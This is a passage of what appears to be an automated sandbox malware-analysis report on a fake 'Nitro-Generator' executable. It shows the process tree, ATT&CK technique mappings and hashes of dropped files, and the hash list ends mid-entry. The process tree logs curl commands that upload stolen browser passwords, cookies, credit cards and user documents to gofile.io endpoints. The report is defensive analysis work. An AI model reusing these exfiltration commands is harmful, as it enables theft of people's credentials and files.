      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store4.gofile.io/uploadFile
      4⤵
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile"
    3⤵
    PID:4128
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store4.gofile.io/uploadFile
      4⤵
      PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile"
    3⤵
    PID:1004
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store4.gofile.io/uploadFile
      4⤵
      PID:1020

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:3156
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:2224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3284
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3204
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:1736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3336
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:2412
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:1828
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:1792
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store3.gofile.io/uploadFile"
    3⤵
    PID:4972
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store3.gofile.io/uploadFile
      4⤵
      PID:3364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store3.gofile.io/uploadFile"
    3⤵
    PID:4016
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store3.gofile.io/uploadFile
      4⤵
      PID:4668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3008
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store3.gofile.io/uploadFile
      4⤵
      PID:3352

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:2200
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3776
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3360
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:1360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:4624
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3920
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:1476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:4212
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:1792
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:1420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:1436
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store3.gofile.io/uploadFile"
    3⤵
    PID:4932
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store3.gofile.io/uploadFile
      4⤵
      PID:688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store3.gofile.io/uploadFile"
    3⤵
    PID:2752
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store3.gofile.io/uploadFile
      4⤵
      PID:2408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3868
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store3.gofile.io/uploadFile
      4⤵
      PID:4564

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:3204
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:4176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:4312
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:392
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:1212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:3124
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:1620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2760
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:3036
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:1004
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2720
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:3492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store1.gofile.io/uploadFile"
    3⤵
    PID:3328
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store1.gofile.io/uploadFile
      4⤵
      PID:620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store1.gofile.io/uploadFile"
    3⤵
    PID:1792
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store1.gofile.io/uploadFile
      4⤵
      PID:5064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2792
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store1.gofile.io/uploadFile
      4⤵
      PID:2088

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:2132
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  PID:3128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:2720
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store8.gofile.io/uploadFile"
    3⤵
    PID:1652
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store8.gofile.io/uploadFile
      4⤵
      PID:3204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store8.gofile.io/uploadFile"
    3⤵
    PID:1764
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store8.gofile.io/uploadFile
      4⤵
      PID:2076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store8.gofile.io/uploadFile"
    3⤵
    PID:2004
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store8.gofile.io/uploadFile
      4⤵
      PID:4028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store8.gofile.io/uploadFile"
    3⤵
    PID:1464
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store8.gofile.io/uploadFile
      4⤵
      PID:1084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store8.gofile.io/uploadFile"
    3⤵
    PID:1108
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store8.gofile.io/uploadFile
      4⤵
      PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store8.gofile.io/uploadFile"
    3⤵
    PID:3508
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store8.gofile.io/uploadFile
      4⤵
      PID:2752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store8.gofile.io/uploadFile"
    3⤵
    PID:4276
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store8.gofile.io/uploadFile
      4⤵
      PID:2324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store8.gofile.io/uploadFile"
    3⤵
    PID:1368
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store8.gofile.io/uploadFile
      4⤵
      PID:792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store8.gofile.io/uploadFile"
    3⤵
    PID:4344
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store8.gofile.io/uploadFile
      4⤵
      PID:392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
1e4ed4a50489e7fc6c3ce17686a7cd94

SHA1
eac4e98e46efc880605a23a632e68e2c778613e7

SHA256
fc9e8224722cb738d8b32420c05006de87161e1d28bc729b451759096f436c1a

SHA512
5c4e637ac4da37ba133cb1fba8fa2ff3e24fc4ca15433a94868f2b6e0259705634072e5563da5f7cf1fd783fa8fa0c584c00f319f486565315e87cdea8ed1c28

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
8ff8bdd04a2da5ef5d4b6a687da23156

SHA1
247873c114f3cc780c3adb0f844fc0bb2b440b6d

SHA256
09b7b20bfec9608a6d737ef3fa03f95dcbeaca0f25953503a321acac82a5e5ae

SHA512
5633ad84b5a003cd151c4c24b67c1e5de965fdb206b433ca759d9c62a4785383507cbd5aca92089f6e0a50a518c6014bf09a0972b4311464aa6a26f76648345e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
20aea00323001e6dfcda3ad89b381b4d

SHA1
149f0a9b3b3313f7e787126e38e1be4190312b46

SHA256
722ca4678f63383395fe3a2f4075480304a54f9345aaa438c046ed269de9b78f

SHA512
eec000c0de1f8ed33848a7b227824849f25e8a85275ef361805bb9d271f4042ebb609fab8b0c3d46505769ac9390dd8303499320aeb058ed44cdb11f4aa1d898

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\File System\000\t\Paths\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
188B

MD5
008114e1a1a614b35e8a7515da0f3783

SHA1
3c390d38126c7328a8d7e4a72d5848ac9f96549b

SHA256
7301b76033c2970e61bab5eaddaff5aa652c39db5c0ea5632814f989716a1d18

SHA512
a202fc891eace003c346bad7e5d2c73dadf9591d5ce950395ff4b63cc2866b17e02bd3f0ad92749df033a936685851455bcdbfad30f26e765c3c89d3309cb82b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
c97939b9880a7ba4cb4139cd0aba2def

SHA1
2cf91a18194f505219b62d0537a8d142c1ce3831

SHA256
ca056e75c024de58dd264b6c52046321a01ab8f898eb1ef7322d4a8e60af075d

SHA512
3237866912071f452fab08d50c3ea770dbd464d050e80f820bd78eb59c648624d5f186ee4622191d8fe013adbf1c596bfaa7ab05a018c447fbf23cbb20f37043

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
7a2a553e6c4786245d2c4d92c73e709f

SHA1
534634ef49d77ffd34133a2d375a5b84fa7d321e

SHA256
20bbd5c61e852c20adb0e54a14e187def0605e4f1575e14f8810e27dfeb54e42

SHA512
d0f48424c7e3abd58f1f031103ebdadc90a9033f9d639eaff16042b816838d518e166e23ced6984e6345bff92847788c6e7fe888243984274dceced3dcf7d6b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
c9abad3149cb93e15f0535b3d46927d6

SHA1
b9a00a57b370bf84bc2ed5a78507b4483fc380f1

SHA256
ab1fe620ade99cc644b0a191772f508027985ec0e44fda160a6cb331a3180ff8

SHA512
dfee80c357fd05ef03f12329bdbc2486552cb39c794b8593e1309f209072cacf732fe6a50c4956d9eb5cdd72dbcd34b0e3886ae296eb93b4537d04db5b63c260

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ab838823fb03a597323b47f3e38ca606

SHA1
c7590c53d3c3b00cc7353be6452838d52626e31f

SHA256
b7028ed9a8d7b4c977a4b215febd11a3c50139ea7bd4a901da39de585070a687

SHA512
60126b3bae54bd703ca74923399f1e6a17c7d50fd65ac17274b355b2c3e4a1d033171f7a1d37cdf6a18ecba73f344ec8434a16d6a37e3b97f82adf42e9fe8603

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
50b61c98eee797982661491ec36451f2

SHA1
2807908f55b789cea189d89f7c17a2ce9da44582

SHA256
fd133e387fb5d2745014664948df98e3b2d84eaecbdff059123105fe80a1d561

SHA512
d45af8b9e3b84fd615f81e34a1aa6dffcc6b0a479f854489b886f0b8b881eeb950403df25d2f7a27219d4c94088b835008df0a8ccde2009942ca86961205d00a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9a34423c24a99920dde2c900b0675209

SHA1
298bc2204c2189068ccd065da71359b9c1cab476

SHA256
f62fc61fe4d6a74fed42561a5f1f9fdf4830f6f8e591f0dd8f037549be051019

SHA512
208de0de8fdd217b14205036fbbb9d51d81da7b160627ddb5c68d5059e73c67942d11846743503b63923df9b64c460ebf7ff5efd44c3a4f76cf79c60831c3e2e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
659f8291021bcec240bb901ecfb65a88

SHA1
870e322f6b08b85666e2f86b1961fd15fb8f8b0c

SHA256
4da90156e80f27dd35ddc83eeb45ecc99af796196524146929ac5cba2f477f7c

SHA512
6422a81a4c9b67245fe6c3658337e5ec760fea85f979ceedf50d022b0826aa33d22c7b624aeef319b8fb9ef8bdf6a9013ad0661b82ba4ee2986cd76f6a077d31

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe57a9cd.TMP

Filesize
48B

MD5
2ecdcc31b9af737d3a9e18ea20765181

SHA1
2a392f63a693cd4e88fb5d5a13f8893459914d9b

SHA256
1f54974d8df99949e7564383eb8d7d20a892b14ae6f0b7d738ab45be7213a0ca

SHA512
865b1364f450482b189a8c15f882f75845e4687e72d67ca7b2290e88951e39d32f491d9b26bcfbfce31433db43cef607a2f82968516c40eefa10d8478bbc0250

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
ce7ffda768e65082fb600f44477b8de6

SHA1
5040091e91069cf2eabcf5697cd99dea8aebb359

SHA256
c38d9e396b813859d4e60782fede804457c3c2cb3b164559eb4eb36859a3a4db

SHA512
2a92829b45322e62ba158aded1959979390ec67852a2a8ff149c82fe83b7dd84b741d0cf1d64b029f2630915739281ec8b2c4a8601073fd8acba66dbaf138693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
641fc786f9865bc2393da1ad62127666

SHA1
8d361097941e1f492c1d7f42b6261d6c5777efc8

SHA256
c4eb74a37723db813943b570c5bcbab59a02bb39b58f7ae907ba8650892811c1

SHA512
bbc8d609b906753715ae36736b2695fdf2addc6b85496f5eff4f97e61b6933ec7ced183b9019dd75d62fc0310925aad264db260c4d6dd6a82e1d52f2f41e496c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI28202\VCRUNTIME140.dll

Filesize
99KB

MD5
8697c106593e93c11adc34faa483c4a0

SHA1
cd080c51a97aa288ce6394d6c029c06ccb783790

SHA256
ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833

SHA512
724bbed7ce6f7506e5d0b43399fb3861dda6457a2ad2fafe734f8921c9a4393b480cdd8a435dbdbd188b90236cb98583d5d005e24fa80b5a0622a6322e6f3987

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI28202\_brotli.cp39-win_amd64.pyd

Filesize
801KB

MD5
3f4ff03457de6d751c912b43231ddcc2

SHA1
e872d0c0349aeae3a5016671565a3364c1e21f0f

SHA256
6c00e3c64c4b30d127474bf7dee5250f5123c91b992b1ad04482223de510f37b

SHA512
1b04b65914b9ac51fd9d3a9433d9767e0ea0ca44c5cb1707175a3a2104b0316316026233b217ee272290d7b0d3c05b798cbb524a5fabddef492e05d0b6f52194

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI28202\_bz2.pyd

Filesize
83KB

MD5
6c7565c1efffe44cb0616f5b34faa628

SHA1
88dd24807da6b6918945201c74467ca75e155b99

SHA256
fe63361f6c439c6aa26fd795af3fd805ff5b60b3b14f9b8c60c50a8f3449060a

SHA512
822445c52bb71c884461230bb163ec5dee0ad2c46d42d01cf012447f2c158865653f86a933b52afdf583043b3bf8ba7011cc782f14197220d0325e409aa16e22

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI28202\_cffi_backend.cp39-win_amd64.pyd

Filesize
177KB

MD5
f3f610b10a640a09b423e1c7e327cad1

SHA1
007bf7000df98e4591bdbfc75e7a363457c692fd

SHA256
d112ae33247d896008d79a1a5f96b98d0eaee80d13372e64c2d88ffbd94fadf8

SHA512
28726490d1026ad6f2bbad949b247f904e4ceceef7011e7408c11e4fab886e77e84317e7a14e3e86c1b7178666b06e0a774734a497f91afff76882756e03b6b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI28202\_ctypes.pyd

Filesize
122KB

MD5
29da9b022c16da461392795951ce32d9

SHA1
0e514a8f88395b50e797d481cbbed2b4ae490c19

SHA256
3b4012343ef7a266db0b077bbb239833779192840d1e2c43dfcbc48ffd4c5372

SHA512
5c7d83823f1922734625cf69a481928a5c47b6a3bceb7f24c9197175665b2e06bd1cfd745c55d1c5fe1572f2d8da2a1dcc1c1f5de0903477bb927aca22ecb26a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI28202\_decimal.pyd

Filesize
264KB

MD5
ce4df4dfe65ab8dc7ae6fcdebae46112

SHA1
cdbbfda68030394ac90f6d6249d6dd57c81bc747

SHA256
ffbe84f0a1eab363ca9cf73efb7518f2abd52c0893c7cc63266613c930855e96

SHA512
fc8e39942e46e4494356d4a45257b657495cbfa20e9d67850627e188f70b149e22603ae4801b4ba7b9a04d201b3787899d2aee21565237d18e0afce9bae33ee9

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI28202\_hashlib.pyd

Filesize
63KB

MD5
f377a418addeeb02f223f45f6f168fe6

SHA1
5d8d42dec5d08111e020614600bbf45091c06c0b

SHA256
9551431425e9680660c6baf7b67a262040fd2efceb241e4c9430560c3c1fafac

SHA512
